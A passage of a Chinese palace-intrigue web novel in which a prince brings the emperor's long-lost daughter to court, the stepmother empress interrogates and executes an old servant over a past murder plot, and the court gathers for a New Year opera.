至此,等候在外多时的梅志煊,抬头一见到原是继后在里面,便忙俯身朝其跪拜道:“儿臣给母后请安!” 继后居高临下盛气凌人甚是轻蔑地睨了他一眼,想要探问:“这大半夜地你不在自己宫里好好呆着,如此行色匆匆前来清心殿里,是有什么重要的事吗?” 梅志煊起身来心下里犹豫了一下,朝其回道:“回禀母后,其实……也没什么特别的事情,只是儿臣外出办差多日未见父皇。刚一回来便听闻近来父皇身体欠安,就着急过来看看,同父皇请安而已!” 继后听了朝其冷冷地哼笑一声,阴阳怪气地道:“哼……母后身上也是风寒之症尚未过去,咳咳……” 说着,继后竟便就真的侧过头去用手里的帕子掩起嘴来故作轻咳了起来,复又继续道:“却怎不见皇儿如此孝顺,去本宫宫里探望探望母后一二呢?” 梅志煊对此显然顿时无言以对了:“这……” 见此,继后忽卸去了脸上的微微笑意,朝其厉声训斥道:“下贱胚子,左不过一个从未被皇上上过心的身份卑微的奴婢所生。整日里就不要和你那娘一样,尽做一些不安分守己,本不该是你们这种贱人奴才所做的梦,有道是‘人贵在有自知之明’,你要明白,亦要看清现实,这东宁国的未来,迟早都是属于本宫之子的。本宫劝你就不要再做这些无谓的垂死挣扎了!免得有一天惹火烧身,死都不知道自己是怎么死的!” 梅志煊默默地听完,还要显得对其一脸欣然地道:“母后教训的是,儿臣知错了,儿臣一定时刻谨记着自己的本分!” 继后听了,似是对其回应尤为满意,却依旧还恶狠狠地朝其怒瞪了一眼,又扫了一瞬与其一道而来的跟随于其身后的俩张稚嫩的侍卫面孔,道:“知道就好,哼……” 说完,便朝其哼了哼鼻子,甩了甩衣袖,大摇大摆地摆驾离去。 梅志煊弯腰哈背,垂首看着她趾高气扬,骄傲离去的背影,悄悄地握紧了双拳藏于袖子里,嘴角忽勾出一抹狡黠的弧度,露出一脸无以名状的笑容。 愣了一会儿,遂收起脸上的表情,转身步履坚定地快步跨入了清心殿的大门。 一进门,便令与其一道进来的两名侍卫打扮的男子在殿外等候,自己则进去朝殿内正等候着的东宁国君俯首跪拜道:“儿臣给父皇请安!” 东宁国君端坐在书案边,发出一沉声道:“起来吧!” 闻声,梅志煊立起身来,却是顿时被眼前的人的状态惊呆了。 左不过几日未见,不成想面前的这位昔日里那般尊贵威严之身躯,竟不知何时已变得苍老了那么多。 只见其满头乌发不知何时竟已变得几近全白,又不知熬了多少个通宵,曾经那般深邃睿智的一双眼睛里,如今却只有密布的红血丝,脸上的纹路,一道又一道,时不时还伴随着重重的咳声:“咳咳咳……” 是的,他的精神实在是极不好的。 梅志煊情不自禁地微微动了动嘴唇,惊诧地道:“父皇,您的头发,您的眼睛,您的脸,怎会忽然……” 东宁国君显然已从他一进门来便投向吃惊不已的眼神里读出他心里的疑惑,便道:“你是不是想问,父皇为何忽然之间苍老了这么多?” 闻此,梅志煊的心忽然莫名地变得柔软了起来。此时眼前的这位他从小到大心里虽然深深恨着,却又不得不承认亦是他无比敬重着的高大伟岸的身躯,曾经亦是身披战袍,驰骋沙场,金戈铁马,气吞万里如虎,没想到,他也会有今天…… 千言万语,心中顿时间五味杂陈,万千感慨,最后俱都化为他心底默默地一句道:“父皇……” 一室寂静。 俩个俱都孤独的影子就这样相对无言着怔望了一会儿,东宁国君起身缓缓挪步到一旁的暖榻边坐下,一边亲手烹茶一边对梅志煊道:“过来,坐这里。” 梅志煊默默地上前,撩起袍角轻轻落座在其对面。 东宁国君遂将自己刚刚沏好的一盏热气腾腾近乎于浓黑色的茶汤推到了梅志煊的面前,道:“外面天冷,尝尝这盏父皇亲手煮的热茶汤!” 梅志煊愣愣地望着眼前的这张脸,忽然觉得此情此景,这一切都是那般地熟而又陌生。 遂伸手将其缓缓接过,从小到大,俩人还是第一次如此心平气和地坐下来促膝交谈,梅志煊忽然想起,那是小时候,那时候嫡母后也还在,情景亦是如此这般的和谐与温馨。 就在这时,东宁国君继又回忆起来道:“父皇记得你从小便总是惯爱到处东奔西跑。可后来,朕又觉得不知为何,你总是在有意无意地躲着朕。一直以来,总想要找个机会和你一起好好谈谈,可国事繁忙,却一直总是都抽不出空来。” 默想了一瞬,深深地吸了口气,不禁感叹着意味深长道:“启料时间一晃,一切竟都已经物是人非了。可无论如何,你总要多顾及些自己的身子才是。如今,你亦已经是有家室的人了,凡事就都得替别人多考虑考虑。玥儿是个好孩子,今生能娶到她,是你的福气。她虽身为西秦最尊贵的嫡长公主,却依然愿意跋山涉水地下嫁与你,且自从到了东宁,从未将我东宁的秘密透露过给西秦半分。如今,她又给你生了个那般聪明伶俐的一个海儿。‘海纳百川,有容乃大’,父皇相信,他长大后一定会是个有出息的孩子。” 说着说着顿了顿,他转目深看向梅志煊此刻正微微垂着细听其语的脸,道:“老三,你该知足了!这么多年,无论你心里在想什么,亦或要什么?你要知道,最终,只有她们母子俩才是你生命的全部。有些人,一旦错过就永远不会再回来了。父皇希望,你不会让她们母子失望。” 启料东宁国君的一番良苦用心,竟最后只换回梅志煊淡淡的几个字道:“儿臣知道,多谢父皇教诲!” 显然,这场迟到太久的谈话,对于如今的梅志煊来说,已经来的太晚太晚,从小到大,当他遭人冷眼,受人欺凌的时候,这个本就应该挺身而出的人却并未护他半分。 所以那时起,他便清楚地认识到这辈子他都不再需要别人的保护。因为他早已知道,只有自己才能护得了自己想要护的人。 尽管听到这般从未有过的关切的温暖话语,方才自己的眼里亦是有些湿润的感觉,却终于还是被他强忍住,不让其肆意泛滥开来。 见此,东宁国君一眼便知道他还在责怪自己,还想试着开口再朝其解释些什么,启料梅志煊却露出一脸难色,将轻抿了一口的黑色茶汤放了下来,抢先将其打断道:“这茶,太苦了!” 东宁国君闻此,心中忽顿了一下,接着道:“苦?苦就对了,知苦才会惜甜啊!‘先天下之忧而忧,后天下之乐而乐。一代君王,要孤独地承受多少别人所不能承受之苦,才会守得一片大好河山。而一旦你忘记了这苦,你的江山百姓,便就会立刻与你背道而驰……” 说着说着,自己亦抿了一口那苦涩不堪的浓茶汤,道:“皇儿,凡事俱要懂得适可而止,知足当才能常乐啊!” “知足!”梅志煊忽一听到这俩字,顿时恨得牙痒痒,似那一手握紧着手里的茶盏也都在颤抖,继而隐忍着心里的不甘说道:“父皇,从小到大,你可曾体会过我的感受?就像是被全世界都遗弃了一般,若不是嫡母后收留,我都无法想象自己的童年会是个什么样子?那是你永远都无法体会到的感觉。” 闻此,东宁国君心中忽觉一震,吃惊地道:“皇儿,你……” 而梅志煊却冷冷淡淡地道:“罢了,过去的已经都过去了。而眼下,无论是对是错,一切结果均由皇儿自己一人承担。且皇儿今夜前来,并不是寻父皇来聊以前的事,这些于皇儿,亦已经都不再重要。” 东宁国君竟没料想,梅志煊与自己父子之间的隔阂竟以至如此,忽一手附上心间,甚觉心痛不已:“你……咳咳咳……” 就在这时,梅志煊忽神秘地道了一句:“父皇,你看他是谁?” 第四百四十七章:宫中再见 梅志煊冷冷淡淡地道:“罢了,过去的已经都过去了。而眼下,无论是对是错,一切结果均由皇儿自己一人承担。且皇儿今夜前来,并不是寻父皇来聊以前的事,这些于皇儿,亦已经都不再重要。” 东宁国君竟没料想,梅志煊与自己父子之间的隔阂竟以至如此,忽一手附上心间,甚觉心痛不已地气道:“你……咳咳咳……” 就在这时,梅志煊忽神秘地道了一句:“父皇,你看他是谁?” 顺着梅志煊的目光追随而去,只见一袭白衣胜雪,眉清目秀的男子霎时间映入到东宁国君的眼帘。 东宁国君目光定定地凝视着那人,朝其周身仔细打量了许久,心中总觉得其眉眼之间似是像极了一个人,却又一时半会儿怎么都想不起在哪儿见过? 最后忽似是终于想到了些什么,缓缓伸出几根指头来指着那人,怔怔地望着其嘴里不敢置信地道:“你是……你是……” 而与此同时,在那白衣男子忽地抬起头来与其四目相对间,对眼前这位明明不久前方才见过的中年男子,居然其真正的身份竟然是东宁国最尊贵的一国之君,亦是梅志煊所说的她真正的身生父亲。 没错,此刻她心里亦是同样地惊涛骇浪着,兀自暗暗地道:“眼前的这个人,便是我真正的父亲?” 刹那间,眼里似是竟有些湿润,一切都是那么的来之不易。遂默想了一瞬,她忽地微笑起来,背过身去抬起一只胳膊来将挽发的发簪一把抽了下来。 瞬间,一头如瀑布般倾泻而下的乌发散落了下来垂在她的背上。 至此,东宁国君刹那间回忆起,遂目瞪口呆惊诧地道:“你,你是……你是凤凰岛海边的那位姑娘?!曾经救了朕一命的恩人?!” 闻声,白衣女子忽觉心间咯噔一下,停下了所有遐想,继而倏地转过身来“扑通”一声跪倒在其面前,朝其参拜:“民女拜见皇上!” 东宁国君低眼望着她惊呆了,紧忙上前两步一边亲自伸手将她扶起身来,一边近乎于欣喜若狂地道:“真的是你,真的是你,朕方才见你一进门来瞧着便是那般的眼熟,原来你真的是一名女子。好,好,好,女子好,女子好……日盼夜盼,朕总算是终于找到你了,朕找你找的好辛苦啊!” 继而,又将目光移向正立在一旁的梅志煊惊讶地道:“老三,快说说看,你是怎么做到的?” 梅志煊抱拳朝其悠悠道:“禀父皇,此乃纯属机缘巧合。儿臣近日带人前往凤凰岛附近办差,途中偶遇到父皇派去寻人的人马。刚好与儿臣同路,便顺路将这位姑娘替父皇给寻了回来。这不,想着父皇苦寻良久,一定是等着急了。于是快马加鞭刚一回宫便连夜将她带来见父皇了。” 闻此,东宁国君甚是感激地道:“机缘巧合,好一个机缘巧合,皇儿真是有心了!” 梅志煊道:“父皇开心即可!” 东宁国君收回视线,一脸惊喜,复又对着那女子开怀乐道:“开心,开心,朕许久都未如此开心了!自从上次在凤凰岛姑娘不告而别之后,未能当面致谢,朕心里一直甚是欠安。姑娘的救命之恩,朕尚还不知如何报答……” 一念至此,说着说着,东宁国君忽顿了顿,认真地问道:“对了,听朕的侍卫说,姑娘亦不是那凤凰岛上的人,那敢问姑娘家在何处,可还有其他什么至亲好友呢?那日,你一个姑娘家怎么会出现在那般荒凉的地方?” 面对东宁国君突如其来的诸多疑问,白衣女子显然不知该如何一一应对,心中犹豫了一下,似是有些为难地道:“这个……” 见此,梅志煊忙开口替其解释道:“父皇,这些儿臣都已经在回宫的路上询问过了,衣姑娘他并非从小生长在我东宁国,而是不久前方才由西秦来到我东宁国土上的。是因为她的母亲仙逝,所以来东宁寻找父亲的。启料所乘之船只又在海上遇到了风浪,这才被困在了岛上数日。” 东宁国君听了稍一思量,皱起眉头问衣上云道:“寻找父亲?你的父亲是来我东宁经商的商人吗?衣姑娘?你姓衣?那你的名字又是什么?” 白衣女子正欲开口道:“民女的父亲是……” 就在这时,梅志煊摸着鼻子大声地清了清嗓门:“嗯……嗯……” 白衣女子忙收了声。 梅志煊道:“父皇英明,衣姑娘的父亲的确是一名西秦商人,儿臣也正在努力替其寻找,只是在帮她找到父亲之前的这段时日里,衣姑娘身为一名女子怕是继续独居于山林之中安全堪忧,极为不妥,所以……” 话音未落,东宁国君便抢先开口说道:“哦,这个简单,朕偌大个东宁皇宫,难道还没有衣姑娘的容身之所不成?”零久文学网 梅志煊深知道自己的目的已达成,却依然故作不明白地道:“父皇的意思是……” 东宁国君含情脉脉地看着衣上云瘦弱的脸,心中对其悲惨身世顿生出无数的怜悯之心来,道:“且就将她暂时留在朕的清心殿侍奉朕吧,既然她对朕有救命之恩在先,朕便一定会好好护住她!你且去抓紧速速替其寻回生父来团聚。” 梅志煊没想到自己这次的计划竟是如此之顺利,于是便抱拳欣然地领命道:“是,儿臣遵命!如此,若是父皇再无他事的话,儿臣便告退了?” 东宁国君朝其摆了摆手,道:“退下吧!” 于是,梅志煊便缓缓退了出去。 而此时,深夜刚刚回到自己宫殿里的继后,在回来的一路上始终都眉头紧锁着。 她暗自心里越想越觉得不对劲,索性便问身边的一名老奴,道:“嬷嬷,你有没有觉得方才从皇上的清心殿里出来遇到三皇子的时候,他身后一名一袭白袍的男子似是有些眼熟,像是在哪里见过一样?” 老嬷嬷稍一回想,便有些迟疑地道:“经皇后娘娘如此一说,老奴倒也忽然觉得他像极了一个人,但是,老奴,老奴有点不敢说……” 继后闻声,忽绷紧一张臭脸,看着她对其厉声地道:“嗯?有何不敢说的,快说!” 老嬷嬷咬了咬牙,幽幽道:”方才老奴见那白袍男子长得眉清目秀,甚是难得,便也忍不住多看了两眼。亦是觉得他像极了一个人。皇后这一说,老奴心里便更是肯定了。” 皇后道:“是吗?那嬷嬷觉得他长得像谁呢?” 老嬷嬷定了定神,似是在给自己鼓足了勇气,最后在深夜里忽然如一道霹雳般炸出一句道:“那公子眉目之间,看起来长得极像已故的嫡皇后娘娘!” 继后一听,顿时惊望向老嬷嬷脸道:“什么!” 老嬷嬷一边点头,一边将脸埋得很低很低。 独自坐在暖榻边,对着殿内正熊熊燃烧着的炭火盆默想了许久,继后忽然开口命令道:“去把她给本宫叫来。” 霎时,另一位老嬷嬷进入了大殿内,上前紧忙俯身跪倒在了冰冷的地板上,朝正闭目养神,一只手支着额头似是在沉思些什么的继后道:“老奴参见皇后娘娘!” 继后并没有立刻睁开眼眸来,而是兀自继续自己的闭目养神片刻后,忽地睁开眼来,又抿了几口面前的热茶汤,方才厉声质问其道:“大胆奴才,还不快向本宫老实交代,当年究竟那个贱人和她腹中的胎儿到底有没有俱都坠崖而亡?” 那老嬷嬷一听所被质问之事,顿时吓得身子直哆嗦,语无伦次起来,战战兢兢地道:“有,没有,可能,也许,或者死了,又或者没有死,应是必死无疑才对……” “咔嚓嚓……” 顿时,夜里寂静的宫殿里,一阵极其刺耳的瓷器落地声响起。 原是继后一见那人此番神态,遂将面前案几上的茶盏茶壶俱都一把狠狠地掀翻在地上,呵斥其道:“该死的蠢货,当年本宫派给你那么多帮手,竟就连对付一个孕妇,这点小事儿都办不好吗?在这儿支支吾吾了半天,究竟到底在说些什么?” 老嬷嬷吓得一个劲儿只知道不停地叩首,嘴里连连致歉道:“老奴该死,请皇后娘娘恕罪,请皇后娘娘恕罪!” 继后显然已经没了耐心,却依旧不得不压住心头的怒火来将其彻底仔细弄明白:“还不快说,当年到底是怎么回事?” 于是,那老嬷嬷便将继后用心良苦,煞费苦心地安排在其身边对其保护的一行人等浩浩荡荡离开东宁国后,一路上在西秦所发生的所有事情俱都清清楚楚,事无巨细地如实禀告了起来。 继后听了其颇为漫长的一席禀报后,瞬间惊呆了:“如此说来,那贱人,她极有可能是在坠崖后并没有死,而是被人复又救起,并产下了一子?” 老嬷嬷不以为然,坚定极了地道:“不可能,嫡皇后娘娘她确实已经死了!” 第四百四十八章:夜深人静审老奴 继后满是质疑的眼神犹如一柄寒光四射又锋利无比的利剑般倏地射向那老嬷嬷。 老嬷嬷一对上其眼神,心里顿时紧张极了,最后不得不低低垂下了头去,似是再也不敢抬眼看那张高高在上之人威严的脸,遂回忆着怯怯地道:“当年老奴奉娘娘之命,陪同生产在即的嫡皇后往西秦一行。老奴深知此事事关重大,自是不敢误了娘娘的大事。” 顿了顿,似是心中隐隐有许多不忍,最后却还是故作镇定地说:“当时我们本打算依照娘娘的安排,到了西秦的国土后看看嫡皇后究竟因了何事如此坚持地要回西秦?之后便寻个机会将嫡皇后以及其腹中的孽障一并给除掉。启料未及老奴等人动手,却发现了一个秘密……” 继后一听,饶有兴致地问:“秘密?什么秘密?” 老嬷嬷心下里想了想,似是至今亦是觉得颇为震惊,道:“一名随行的侍卫发现,嫡皇后娘娘曾在夜里偷偷潜入到西秦皇宫。” 继后惊诧地道:“什么?西秦皇宫?她一个毫无背景又有孕在身,手无缚鸡之力的孕妇,如何能做到不被皇宫里的重重守卫阻挡,只身一人夜里前往那西秦天子的宫殿?她去那里又所为何事?” 老嬷嬷似是直至如今亦纳闷不解地一边摇头,一边努力回忆着。 忽然,她的眼前一亮,似是又想起了什么,道:“对了,嫡皇后到了西秦国后,有一次前往城南城隍庙里烧香,曾经遇到过一位僧人。” 继后微微蹙眉,不解地道:“僧人?” 老嬷嬷点了点头,继续道:“当日在庙里,老奴及另外几名婢女侍卫们俱都在门外面守着,所以并没有真切地听到里面俩人之间的谈话。老奴只是隐隐看到那僧人似是递给了嫡皇后一只……镯子!” 闻此,继后甚觉震惊地连连问:“镯子?那僧人赠给了那贱人一只镯子?你确定自己没有看错?那是一只什么样的镯子?” 想起那个世间尤物,老嬷嬷怕是一辈子都忘不了其的样子。 此刻,她似是想都没想,脱口即出道:“老奴一辈子都不会忘记,那是一只美轮美奂的七彩金丝彩玉镯子,看起来于世间极为稀罕的模样!” 继后觉得不可思议极了,正在暗自想着那贱人不会是在和一名僧人私相授受,难道他们之间有着什么不可告人的秘密…… 与此同时,老嬷嬷的话亦依旧在其耳边回响着:“打从从城隍庙回到客栈里后,老奴便经常看到嫡皇后娘娘手里握着那只镯子发呆,似是每次都还像刚刚哭过的样子。可她一见老奴进去,便又慌忙将那镯子收了起来。” 过了会儿,老嬷嬷不知为何忽地领悟道:“莫非,嫡皇后之所以能在西秦皇宫里自由出入,会不会和这只珍贵的七彩金丝彩玉镯子有关呢?” 继后的思绪瞬间被打断,却是不以为然地问:“何以见得那镯子就不是那僧人与那贱人之间的私相授受呢?” 老嬷嬷似是很肯定地语气道:“这有情人之间的眼神交流,老奴在宫里见得多了,看那僧人和嫡皇后娘娘之间……他们二人应不会是那种关系,他们之间,倒像是以前从未见过的样子。” 说着停了一瞬,又理了理当年所见,老嬷嬷忽然揣测着道:“老奴当时就在门外距离里面最近,依稀听到那僧人好像说了句什么‘物归原主,莫要再弄丢了’之类的话。所以,老奴觉得这只手镯本就应是属于嫡皇后娘娘的物件,那僧人应是将其物归原主吧!” 说完,似是又有些犹豫道:“不过……” 继后追问:“不过什么?” 老嬷嬷道:“不过,嫡皇后打从西秦皇宫里回来后,便整日里更加忧心忡忡,似是有更多难言之隐一般,可任凭谁问,却是只字不提。” 继后遂暗想了一瞬,吐了口浊气又问:“那后来呢?” 老嬷嬷回忆过往,似是至今依然都有些后怕说不出口来,也终是咬了咬牙不得不道:“就在一日,正好途径一险要之地,突然遇到了一群黑衣蒙面人。嫡皇后最后竟为了救一名似是被这伙人追杀的西秦少年,竟不惜自己一尸两命的代价,被那群西秦蒙面人给逼落悬崖。老奴与众人皆被那些蒙面人打散,老奴想着‘活要见人,死要见尸’便带人顺着山路一路寻找,最后在山涧一座茅草屋所燃烧过后的灰烬里,寻到了一具女子的尸骨以及嫡皇后当时所戴的那支金钗。” 老嬷嬷隐忍着内心巨大的痛楚说着,伸手从袖兜里掏出一支精致的金镶玉凤凰头钗来将其双手奉上:“娘娘请看!” 届时,继后身边立着的一婢女走下台阶来从其手里将那支金钗接过复又回到了继后的身旁,将其双手递了过去在其面前。 继后缓缓拿起在手中端详了一会儿,看似有些熟悉,却又似一时半会儿实在记不清的样子,嘴里只发出一阵喃喃着道:“这支金钗,本宫怎么看起来如此眼熟?” 大殿内正跪身着的老嬷嬷却是记忆清晰地答道:“这支金钗,正是当年太医断定嫡皇后娘娘有喜了的时候,皇后娘娘您亲自送的贺礼啊!这金钗本是一对,嫡皇后念在是皇后娘娘您的帮助,方才得以能使自己再回到西秦看看。于是便在启程的那日,将其中的一支亲手赠给了皇后娘娘。还说这对金钗再次相遇之时,便是嫡皇后娘娘与皇后姐妹团聚之日,只可惜……” 顺着老嬷嬷的话,继后忽陷入对往日俩人姐妹之间沉沉的往事回忆里,久久不能自拔。 待忽地一醒过神来,继后竟变作一脸狰狞地朝其怒吼道:“混账,说这一大堆没用的做什么?” 闻此,老嬷嬷即刻收了声。 继后一边把玩着手里的金钗,一边漫不经心地道:“不知不觉,时间竟都已经过去这么久了,本宫还真是一点儿都记不起它来了。不过,看这支金钗时至今日竟还保存的如此完好,可见,平日里,你一定是没有少花心思睹物思人,打理它吧?” 说完,目光顿看向老嬷嬷,老嬷嬷吃惊地抬起头来道:“皇后娘娘,老奴……” 继后一巴掌狠狠拍在手边的案几上,不容分说地朝其大怒:“蠢货,既然已经查到了山里有茅草屋,便证明当时山里是有人居住于此的。而你们,却只找到了一具女尸和这个破玩意儿。” 说着,刷的一下将手里方才还牢牢握着的那支金钗朝其面前狠狠扔了过去,金钗摔在地上,顿时破碎成好几块。 继后却仍不解气,继续道:“难道你就没想到,极有可能那贱人在坠崖之后已经产下了腹中孽障,且已被人带走。你们为何铲草不除根,去寻那孩子的下落?” 老嬷嬷慌忙辩解道:“当时老奴对此亦是有所怀疑过,于是便带人在山里寻了多日,不成想却什么都未发现,所以,所以……” 继后补道:“所以你们回宫来便对本宫谎报说,那贱人已坠落悬崖,粉身碎骨!” 继后越想越是气不过,时隔多年,竟不知当年之事有如此之大的隐情存在,于是一怒之下扬声命令道:“来人,给本宫将这刁奴拉下去即刻斩首。” 顿时,便有两名侍卫进门来将那老嬷嬷驾了出去,那老嬷嬷满脸惊慌失措却还心存着一丝希望着朝其声声祈求道:“皇后娘娘饶命!皇后娘娘饶命……” 然继后却望着其被拖走的背影,半眯起眼睛来狠狠地道:“为今,亦只有死人,才能永远保守住秘密!” 片刻后,一回过神来,继后忽忧心万分地喃喃自语道:“若是那贱人腹中的胎儿真的已经降世了的话,总有一日,那本宫的豪儿岂不是……” 一念至此,她咬牙切齿地道:“不行,本宫绝不允许,绝不允许任何人来抢夺我一生的心血。无论是属于豪儿的,亦或是媛儿的,不可以,都不可以……” 一室寂静。 继后忽然站起身来,走下台阶,缓缓移步到方才碎了一地的金钗边曲膝蹲身下去,拾起地上的碎片,复又起身朝着寝殿里一脸黯然神伤地回去。 来到了梳妆台边落座下,伸手打开了最底下一层似是已经尘封多年的首饰盒。 竟现出了一支同样的金钗来,她将另一手里紧紧握着的一支与其一模一样,却是就在刚刚被自己破坏,如今已是支离破碎的金钗合在了一起。 嘴里喃喃低语道:“如你所愿,多年以后,这两支金钗如今也算是终于团聚了!可你我……” 往事一幕幕,或悲或喜,顿时一齐涌上了其心头…… 数日后,已至元日。 这日里,虽是冬天,但没有风,太阳又真不错,晒得人暖洋洋的,觉得全身骨头都快酥了,再加上宫里还有精彩的戏曲表演看,人人都觉得这真是人生最快乐的事也。 第四百四十九章:灯火婆娑入戏园 这日里,虽是冬天,但没有风,太阳又真不错,晒得人暖洋洋的,觉得全身骨头都快酥了,再加上宫里还将有一场精彩的戏看,人人都觉得这真是人生最快乐的事也。 终于,灯火婆娑中,距离开戏的时间亦越来越近。 此刻,在灯火通明偌大的清心殿里,如今已然恢复了原本一袭红装的衣上云却是眉头深锁,嘟囔着小嘴,微微垂首一脸不悦地用两根细长的手指不停地绕着一条丝帕,哀求着道:“皇上,云儿就在这清心殿里替您将各处仔细地打理打理,不跟着去戏园子里看戏成吗?” 身旁不远处,今儿一整日下来气色和心情俱都看起来很是不错的东宁国君正伸展开宽阔的双臂,任凭几个奴才替其颇为仔细地整理着周身的衣装。 听了其所说的话,顿时那脸上正洋溢着难得的笑容骤然沉了下来,甚是不解地问:“你不想去戏园子里看戏?这是为何?你可知道今夜请来宫里演出的,那可都是一些甚是难得的名家,且宫里向来难得如此热闹,这般难得的机会,你真的不想去瞧瞧?” 衣上云心下里稍犹豫了一下,终还是依旧坚持着道:“其实,打从那日皇上告诉云儿,说宫里不久便将会有一场好戏上演之日起,云儿至今都在思来想去,就是因为知道今日看戏的人多,想着忽然要暴露在这么多陌生的面孔前,云儿,云儿还是觉得自己不要去凑这个热闹比较好,以免引起不必要的麻烦!” 东宁国君一听,遂扬起声来霸气地道:“看个戏会有什么麻烦?况且朕是天子,是这偌大的东宁皇宫的主人,有朕的庇护,朕看谁敢质疑你半分?‘麻烦’……朕这一辈子,还真是从来都不曾被麻烦所吓到!朕反倒甚是好奇地想要看看,是谁竟敢如此大胆,敢对朕身边的人动什么歪脑筋?” 可话虽如此,衣上云心下里始终都犹犹豫豫,似是依旧极为担心着:“可是……” 而东宁国君却似是对这场已期待许久的好戏已然迫不及待了。 此时,已是一身威严的龙袍加身,整装待发着,遂挥了挥手遣去众奴才,继而开口极不耐烦地紧忙将其话语打断,劝其道:“好了好了,没什么好可是的了。看在朕花了不少心思悉心为你所准备的这一身红装的份上,你且就当陪我这位孤独的老人家去听戏换换心情作为报答,如何?其实,不瞒你说,有你在身边的这段时日里,不知为何,朕的心里异常的平静,朕已经很久都没有过这种感觉了,仿佛就像是回到了以前,有她在的日子……” 说着说着,他忽然顿了顿,似是陷入了过去某段难忘美好的记忆之中,后又定定地看着衣上云的眼睛,继续道:“朕……喜欢有你在身边的这种感觉。” 东宁国君一边说着,一边便伸出一双温暖的大手将衣上云的手拖起,宛若一位慈爱的父亲牵起心爱的女儿之手,俩人一齐跨出了清心殿的门槛。 “好了,走走走,你什么都不必想,难得今日有如此好的暖阳,夜里你且就随朕一道好好听戏,这可是一出好戏啊!朕保证,你看了之后,包你绝对不会后悔……” 衣上云就这样被牵着,边走边迟疑地拒绝着道:“可是,皇上,云儿实在是……” 与此同时,在梅志煊的宫门口。 忽明忽灭的烛火照耀下,梅志煊与其侍卫早早便备好了一顶轿子,从夕阳西下时分起便一直等候在宫门口处。 侍卫似是已经等得着实有些着急了,一边不停地来回踱着步,一边时不时往宫门里面已经张望了不知多少次。 最后,终是忍不住开了口,催促梅志煊道:“殿下,娘娘不是已经派人传话来说,今日身体不适,不能陪同殿下一起去看戏了嘛!这时辰也已经差不多了,再不走,怕是我们就要误了开戏的时辰了。方才传话来说,皇上皇后那边亦已经都出发了呢!若是迟了,不知皇后娘娘又该如何责怪了!” 启料梅志煊却似是一副根本就不着急亦不在乎的样子,沉默了一会儿后,只沉声说了句道:“再等等……” 侍卫一听,虽是瞬间忧心骤加不减分毫,却似是也没了其他办法。 就在这时,轩辕玥一袭宝蓝色宫装,尽显端庄优雅地徐徐从宫门里携着几名婢女打着宫灯终于现身了出来,缓缓迈步朝着俩人方向走了出来。 侍卫一见,顿时喜上眉梢地惊诧道:“来了,来了,殿下,三皇妃娘娘她出来了!” 梅志煊一听,即刻扬起满脸的笑容忽地转身疾步朝其近身迎上前去,伸手按住其一只肩头欣喜地道:“玥儿,你终于来了,我就知道你一定会来的。” 然轩辕玥却只眼睛微斜,冷冷地看了看他附在自己肩上的一只大而有力的手,忽地微微斜了斜身子,故意将其避让开来,不以为然地解释道:“殿下莫要误会,玥儿所做的一切,都只不过是不想父皇为玥儿担心而已,并不是因为殿下您。” 梅志煊见此,一边略显尴尬地将手缓缓收回默默地背到自己的身后面去,一边渐渐卸去了脸上的笑意,最后于嘴角强忍着噙出一抹无可奈何的浅笑,道:“没关系,无论如何,只要玥儿你开心就好!” 轩辕玥听了,忽一脸严肃地缓缓望向那张曾经是那样熟悉,尔今却又无比陌生的脸深看了一会儿,问道:“殿下可还记得曾经对玥儿说过的一句话。” 闻此,梅志煊忽然顿住。 轩辕玥道:“殿下曾经对玥儿说,执子之手,与子偕老。琴瑟在御,莫不静好。”第八书库 梅志煊一听心里咯噔一下,尚还在沉默,想起自己曾经信誓旦旦地说出这句话的那一刻来,顿时心里五味杂陈,却终只是微微点了点头,轻哼了一句道:“嗯,当然记得!” 轩辕玥嘴角上扬,勾起一抹淡淡似忧伤,又似云淡风轻的弧度来,冷冷地笑了笑,道:“原来,俩个人在一起,年少情浓时总可以相看两不厌,岂料却终是凉薄之人,如何偕老……” 此话一出,顿时一片寂静。 轩辕玥痴痴地望着梅志煊的眼睛等了许久,梅志煊却始终都沉默着再也没有说话,轩辕玥眼里,心里俱都是满满的失望。 或许,多日以来,她借口居于爱子的院里,故意冷落他,只是在等他一句话而已,不管什么,他只要说,她便会信。 可他,却终究是一个字都没有再说。 最后,轩辕玥闭了闭双眸深深地吸了口气,便转身进入梅志煊早已为其所准备好的那顶宽敞的轿子里。 侍卫即刻扬起一手来道:“起轿!” 一行人便急急向着戏园子方向里行进而去。 梨花开,春如雨 梨花落,春入泥 夜幕下,金碧辉煌的皇宫戏园里,台下喧嚣满座,台上则是个个赤衣、白裳、粉黛一抹,水袖甚是洒脱地翩翩挥舞着。 可任凭此刻台上的戏是多么地精彩,众目睽睽之下,衣上云怎么都无法专心于台上的表演,只觉得浑身都不自在。 东宁国君的身旁落坐着的自然是一袭雍容华贵装束的继后,其身边的婢女和老嬷嬷总是时不时地朝自己投来各种异样的眼神。 还有那二皇子梅志豪,打从一出现在戏园里,刚开始其注意力尚还全部都集中在轩辕玥的身上。 不知何时,竟已转移到了自己的身上来,似是便再也收不回去那朝自己投来的满是不怀好意的笑,和对她周身的窥探,让人觉得厌恶至极。 再加上如今显然已如了自己的愿,与自己形同陌路又一脸漠然的轩辕玥,其与梅志煊之间竟从开始落座下来就这样静静地坐着,期间毫无一丝眼神交流。 只要稍一注意,很容易便发现他们之间肯定是闹了什么不可开交的矛盾。 甚至,除了自己在清心殿里这几日以来所见过的那些面孔,似是其他所有人都在有意无意地对她指指点点,议论纷纷。 …… 一切的一切,这样的环境里,她觉得自己似是连气都快要透不过来。 此刻立在东宁国君的身旁如立针毡,终没能忍住微微俯身下去在其耳边喃喃低语道:“皇上,云儿还是不要在这里好了……” 启料话刚开口,东宁国君刚刚还正眉飞色舞着的脸,顿时侧向她这边狠狠瞪了她一眼,便再也不理会她,兀自继续兴致勃勃地朝着戏台子上望去。 一时间里,她方才想了一肚子央求离场的理由,却是顿时连一句都说不出来了。 思来想去,最后她咬了咬牙,心一横,在心里暗暗做了决定:“算了算了,既来之则安之!是福不是祸,是祸躲不过,该来的,总会来的。” 做好了心理准备,便亦与众人一道定下心来欣赏起台上的精彩表演来。 半晌后,东宁国君忽然头也不转地开口问她道:“你知道今夜台上的这出戏演的是什么么?” 第四百五十章:戏若人生 衣上云思来想去,最后咬了咬牙,心一横,所幸在心里暗暗做了决定:“算了算了,既来之则安之!是福不是祸,是祸躲不过,该来的,总归都会来的。” 做好了心理准备,便亦与众人一道定下心来欣赏起台上的精彩表演来。 半晌后,东宁国君忽然头也不转地开口问她道:“你知道今夜台上的这出戏演的是什么吗?” 